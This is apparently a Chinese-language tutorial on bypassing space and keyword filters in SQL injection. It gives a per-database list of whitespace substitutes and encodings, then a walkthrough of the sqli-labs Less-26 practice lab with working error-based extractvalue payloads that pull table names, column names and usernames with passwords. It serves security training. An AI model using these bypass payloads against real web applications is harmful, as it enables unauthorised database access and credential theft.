空格绕过

过滤空格

用Tab代替空格%20 %09 %0a %0b %0c %0d %a0 //()
绕过空格注释符绕过//–%20//#–±- -;%00;

空白字符绕过SQLite3 —— 0A,0D,0c,09,20
MYSQL
09,0A,0B,0B,0D,A0,20
PosgressSQL
0A,0D,0C,09,20
Oracle_11g
00,0A,0D,0C,09,20
MSSQL
01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,OF,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
特殊符号绕过
` + ！
等科学计数法绕过
例：
select user,password from users where user_id0e1union select 1,2
unicode编码
%u0020 %uff00
%c0%20 %c0%a0 %e0%80%a0

sqli-labs less-26

l

来到less-26，从下面的提示不难猜测本关卡为绕过，首先输入的单引号，确定闭合方式为'单引号，

继续测试，发现注释符被过滤，构造

http://192.168.140.130/sq/Less-26/?id=1’ and ‘1’='1

发现and/or也被过滤，构造

http://192.168.140.130/sq/Less-26/?id=1’ aandnd ‘1’='1

此时，我们发现我们的的空格也被过滤了。
本来打算进行空格绕过的，但在不通的环境下，url编码绕过可能出现的情况不一样，且因为我没有在linux环境下搭建sqli-labs靶场，在我的靶场搭建在windows下的小皮面板上，使用空格编码绕过发现无效，使用我使用报错注入结合（）来绕过空格。

绕过

数据库名

http://192.168.140.130/sq/Less-26/?id=1’ || 1=extractvalue(1,concat(‘~’,(select (database()))))|| ‘1’='1

表名

http://192.168.140.130/sq/Less-26/?id=1’ || 1=extractvalue(1,concat(‘~’,(select (group_concat(table_name))from(infoorrmation_schema.tables)where((table_schema=database())) )))|| ‘1’='1

列名

http://192.168.140.130/sq/Less-26/?id=1’ || 1=extractvalue(1,concat(‘~’,(select (group_concat(column_name))from(infoorrmation_schema.columns)where((table_schema=database()%26%26(table_name=‘users’))) )))|| ‘1’='1

数据

http://192.168.140.130/sq/Less-26/?id=1’ || 1=extractvalue(1,substring((select(group_concat(username,‘~’,passwoorrd))from(security.users)),30,30))|| ‘1’='1

用控制（）的方法实现了对空格的绕过，当然还有其他很多方法，不同的环境绕过方式也不一样，勇于尝试。